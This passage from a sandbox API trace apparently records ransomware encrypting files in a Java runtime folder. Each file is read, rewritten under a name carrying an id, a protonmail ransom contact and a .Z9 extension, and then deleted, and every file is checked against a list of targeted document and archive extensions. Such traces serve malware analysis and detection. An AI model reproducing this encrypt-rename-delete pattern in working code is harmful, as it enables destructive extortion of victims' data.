	[0094.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.059] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1
	[0094.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.060] lstrlenW (lpString=".doc") returned 4
	[0094.060] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.060] lstrlenW (lpString=".docx") returned 5
	[0094.060] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0094.060] lstrlenW (lpString=".pdf") returned 4
	[0094.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.060] lstrlenW (lpString=".xls") returned 4
	[0094.060] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.060] lstrlenW (lpString=".xlsx") returned 5
	[0094.060] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0094.060] lstrlenW (lpString=".ppt") returned 4
	[0094.060] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.060] lstrlenW (lpString=".zip") returned 4
	[0094.060] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.060] lstrlenW (lpString=".rar") returned 4
	[0094.060] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.060] lstrlenW (lpString=".bz2") returned 4
	[0094.060] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.060] lstrlenW (lpString=".7z") returned 3
	[0094.060] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.060] lstrlenW (lpString=".dbf") returned 4
	[0094.060] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString=".1cd") returned 4
	[0094.061] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString=".jpg") returned 4
	[0094.061] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString=".doc") returned 4
	[0094.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString=".docx") returned 5
	[0094.061] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0094.061] lstrlenW (lpString=".pdf") returned 4
	[0094.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString=".xls") returned 4
	[0094.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString=".xlsx") returned 5
	[0094.061] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0094.061] lstrlenW (lpString=".ppt") returned 4
	[0094.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString=".zip") returned 4
	[0094.061] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString=".rar") returned 4
	[0094.061] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.061] lstrlenW (lpString=".bz2") returned 4
	[0094.061] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.061] lstrlenW (lpString=".7z") returned 3
	[0094.061] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString=".dbf") returned 4
	[0094.061] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.061] lstrlenW (lpString=".1cd") returned 4
	[0094.061] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0094.062] lstrlenW (lpString=".jpg") returned 4
	[0094.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.062] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.062] lstrlenW (lpString="jsound.dll") returned 10
	[0094.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.121] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=35392) returned 1
	[0094.121] CloseHandle (hObject=0x358) returned 1
	[0094.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20
	[0094.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.121] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.121] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.135] GetLastError () returned 0x0
	[0094.135] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x8a40, lpOverlapped=0x0) returned 1
	[0094.191] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x8a50, lpOverlapped=0x0) returned 1
	[0094.196] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.196] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0094.196] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.196] CloseHandle (hObject=0x2bc) returned 1
	[0094.196] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.196] SetEndOfFile (hFile=0x358) returned 1
	[0094.197] CloseHandle (hObject=0x358) returned 1
	[0094.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.197] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1
	[0094.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.198] lstrlenW (lpString=".doc") returned 4
	[0094.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.198] lstrlenW (lpString=".docx") returned 5
	[0094.198] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0094.198] lstrlenW (lpString=".pdf") returned 4
	[0094.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.198] lstrlenW (lpString=".xls") returned 4
	[0094.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.198] lstrlenW (lpString=".xlsx") returned 5
	[0094.198] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0094.198] lstrlenW (lpString=".ppt") returned 4
	[0094.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.198] lstrlenW (lpString=".zip") returned 4
	[0094.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.198] lstrlenW (lpString=".rar") returned 4
	[0094.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.198] lstrlenW (lpString=".bz2") returned 4
	[0094.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.198] lstrlenW (lpString=".7z") returned 3
	[0094.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.198] lstrlenW (lpString=".dbf") returned 4
	[0094.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.198] lstrlenW (lpString=".1cd") returned 4
	[0094.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.198] lstrlenW (lpString=".jpg") returned 4
	[0094.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.199] lstrlenW (lpString=".doc") returned 4
	[0094.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString=".docx") returned 5
	[0094.199] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0094.199] lstrlenW (lpString=".pdf") returned 4
	[0094.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString=".xls") returned 4
	[0094.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString=".xlsx") returned 5
	[0094.199] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0094.199] lstrlenW (lpString=".ppt") returned 4
	[0094.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.199] lstrlenW (lpString=".zip") returned 4
	[0094.199] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString=".rar") returned 4
	[0094.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.199] lstrlenW (lpString=".bz2") returned 4
	[0094.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.199] lstrlenW (lpString=".7z") returned 3
	[0094.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.199] lstrlenW (lpString=".dbf") returned 4
	[0094.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.199] lstrlenW (lpString=".1cd") returned 4
	[0094.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0094.199] lstrlenW (lpString=".jpg") returned 4
	[0094.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.199] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.200] lstrlenW (lpString="klist.exe") returned 9
	[0094.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.200] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16448) returned 1
	[0094.200] CloseHandle (hObject=0x358) returned 1
	[0094.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20
	[0094.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.200] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.200] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.201] GetLastError () returned 0x0
	[0094.201] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.261] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.262] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.262] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0094.262] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.262] CloseHandle (hObject=0x2bc) returned 1
	[0094.262] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.262] SetEndOfFile (hFile=0x358) returned 1
	[0094.263] CloseHandle (hObject=0x358) returned 1
	[0094.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.264] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1
	[0094.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.269] lstrlenW (lpString=".doc") returned 4
	[0094.269] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.269] lstrlenW (lpString=".docx") returned 5
	[0094.269] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0094.269] lstrlenW (lpString=".pdf") returned 4
	[0094.269] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.269] lstrlenW (lpString=".xls") returned 4
	[0094.269] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.269] lstrlenW (lpString=".xlsx") returned 5
	[0094.269] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0094.269] lstrlenW (lpString=".ppt") returned 4
	[0094.269] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.269] lstrlenW (lpString=".zip") returned 4
	[0094.269] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.269] lstrlenW (lpString=".rar") returned 4
	[0094.270] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString=".bz2") returned 4
	[0094.270] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.270] lstrlenW (lpString=".7z") returned 3
	[0094.270] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.270] lstrlenW (lpString=".dbf") returned 4
	[0094.270] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.270] lstrlenW (lpString=".1cd") returned 4
	[0094.270] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.270] lstrlenW (lpString=".jpg") returned 4
	[0094.270] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.270] lstrlenW (lpString=".doc") returned 4
	[0094.270] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.270] lstrlenW (lpString=".docx") returned 5
	[0094.270] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0094.270] lstrlenW (lpString=".pdf") returned 4
	[0094.270] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString=".xls") returned 4
	[0094.270] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString=".xlsx") returned 5
	[0094.270] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0094.270] lstrlenW (lpString=".ppt") returned 4
	[0094.270] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.270] lstrlenW (lpString=".zip") returned 4
	[0094.270] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString=".rar") returned 4
	[0094.270] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.270] lstrlenW (lpString=".bz2") returned 4
	[0094.270] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.271] lstrlenW (lpString=".7z") returned 3
	[0094.271] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.271] lstrlenW (lpString=".dbf") returned 4
	[0094.271] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.271] lstrlenW (lpString=".1cd") returned 4
	[0094.271] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0094.271] lstrlenW (lpString=".jpg") returned 4
	[0094.271] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.271] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.271] lstrlenW (lpString="mlib_image.dll") returned 14
	[0094.271] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0094.282] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=653888) returned 1
	[0094.282] CloseHandle (hObject=0x360) returned 1
	[0094.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20
	[0094.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0094.282] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.283] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0094.285] GetLastError () returned 0x0
	[0094.285] ReadFile (in: hFile=0x360, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x9fa40, lpOverlapped=0x0) returned 1
	[0094.416] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x9fa50, lpOverlapped=0x0) returned 1
	[0094.427] ReadFile (in: hFile=0x360, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.427] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0094.427] SetEndOfFile (hFile=0x390) returned 1
	[0094.427] CloseHandle (hObject=0x390) returned 1
	[0094.427] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.428] SetEndOfFile (hFile=0x360) returned 1
	[0094.433] CloseHandle (hObject=0x360) returned 1
	[0094.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.433] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1
	[0094.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.434] lstrlenW (lpString=".doc") returned 4
	[0094.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.434] lstrlenW (lpString=".docx") returned 5
	[0094.434] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0094.434] lstrlenW (lpString=".pdf") returned 4
	[0094.434] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.434] lstrlenW (lpString=".xls") returned 4
	[0094.434] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.434] lstrlenW (lpString=".xlsx") returned 5
	[0094.434] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0094.434] lstrlenW (lpString=".ppt") returned 4
	[0094.434] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.434] lstrlenW (lpString=".zip") returned 4
